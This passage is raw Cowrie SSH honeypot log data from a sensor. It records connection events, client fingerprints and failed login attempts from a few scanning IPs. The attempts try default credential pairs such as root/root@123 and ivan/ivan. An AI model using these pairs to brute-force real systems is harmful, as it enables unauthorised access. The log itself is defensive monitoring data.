a2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:37.361684Z","src_ip":"192.109.200.78","session":"6e28fa61d8fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:37.621543Z","src_ip":"192.109.200.78","session":"6e28fa61d8fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:38.838790Z","src_ip":"192.109.200.78","session":"6e28fa61d8fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49892,"dst_ip":"159.203.135.109","dst_port":22,"session":"3345cbd8a261","protocol":"ssh","message":"New connection: 176.65.139.95:49892 (159.203.135.109:22) [session: 3345cbd8a261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:40.036860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:40.053268Z","src_ip":"176.65.139.95","session":"3345cbd8a261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:40.130347Z","src_ip":"176.65.139.95","session":"3345cbd8a261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:40.465637Z","src_ip":"176.65.139.95","session":"3345cbd8a261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48130,"dst_ip":"159.203.135.109","dst_port":22,"session":"b27b89ab29fe","protocol":"ssh","message":"New connection: 192.109.200.78:48130 (159.203.135.109:22) [session: b27b89ab29fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:41.517459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:41.522455Z","src_ip":"192.109.200.78","session":"b27b89ab29fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:41.605191Z","src_ip":"192.109.200.78","session":"b27b89ab29fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:41.714829Z","src_ip":"176.65.139.95","session":"3345cbd8a261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:41.855729Z","src_ip":"192.109.200.78","session":"b27b89ab29fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:42.941969Z","src_ip":"192.109.200.78","session":"b27b89ab29fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49898,"dst_ip":"159.203.135.109","dst_port":22,"session":"255f5a93c043","protocol":"ssh","message":"New connection: 176.65.139.95:49898 (159.203.135.109:22) [session: 255f5a93c043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:46.239333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:46.244475Z","src_ip":"176.65.139.95","session":"255f5a93c043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:46.326712Z","src_ip":"176.65.139.95","session":"255f5a93c043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:46.604471Z","src_ip":"176.65.139.95","session":"255f5a93c043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48142,"dst_ip":"159.203.135.109","dst_port":22,"session":"f72570d80841","protocol":"ssh","message":"New connection: 192.109.200.78:48142 (159.203.135.109:22) [session: f72570d80841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:46.731978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:46.737334Z","src_ip":"192.109.200.78","session":"f72570d80841","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:46.893070Z","src_ip":"192.109.200.78","session":"f72570d80841","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:47.244220Z","src_ip":"192.109.200.78","session":"f72570d80841","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57468,"dst_ip":"159.203.135.109","dst_port":22,"session":"157b10841c74","protocol":"ssh","message":"New connection: 159.203.92.129:57468 (159.203.135.109:22) [session: 157b10841c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:47.659724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:47.664973Z","src_ip":"159.203.92.129","session":"157b10841c74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:47.670138Z","src_ip":"159.203.92.129","session":"157b10841c74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"PMS","password":"123456","message":"login attempt [PMS/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:47.688990Z","src_ip":"159.203.92.129","session":"157b10841c74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:47.701529Z","src_ip":"176.65.139.95","session":"255f5a93c043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:48.340233Z","src_ip":"192.109.200.78","session":"f72570d80841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:48.696753Z","src_ip":"159.203.92.129","session":"157b10841c74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56130,"dst_ip":"159.203.135.109","dst_port":22,"session":"af84fb8913b9","protocol":"ssh","message":"New connection: 192.109.200.78:56130 (159.203.135.109:22) [session: af84fb8913b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:49.986049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:49.995562Z","src_ip":"192.109.200.78","session":"af84fb8913b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:50.070140Z","src_ip":"192.109.200.78","session":"af84fb8913b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:50.392063Z","src_ip":"192.109.200.78","session":"af84fb8913b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:51.478092Z","src_ip":"192.109.200.78","session":"af84fb8913b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33244,"dst_ip":"159.203.135.109","dst_port":22,"session":"25c886709c7b","protocol":"ssh","message":"New connection: 176.65.139.95:33244 (159.203.135.109:22) [session: 25c886709c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:52.330898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:52.335301Z","src_ip":"176.65.139.95","session":"25c886709c7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:52.440201Z","src_ip":"176.65.139.95","session":"25c886709c7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:52.733275Z","src_ip":"176.65.139.95","session":"25c886709c7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:53.846254Z","src_ip":"176.65.139.95","session":"25c886709c7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56158,"dst_ip":"159.203.135.109","dst_port":22,"session":"64df8b402f38","protocol":"ssh","message":"New connection: 192.109.200.78:56158 (159.203.135.109:22) [session: 64df8b402f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:54.140598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:54.155022Z","src_ip":"192.109.200.78","session":"64df8b402f38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:54.237771Z","src_ip":"192.109.200.78","session":"64df8b402f38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:26:54.486085Z","src_ip":"192.109.200.78","session":"64df8b402f38","protocol":"ssh"}
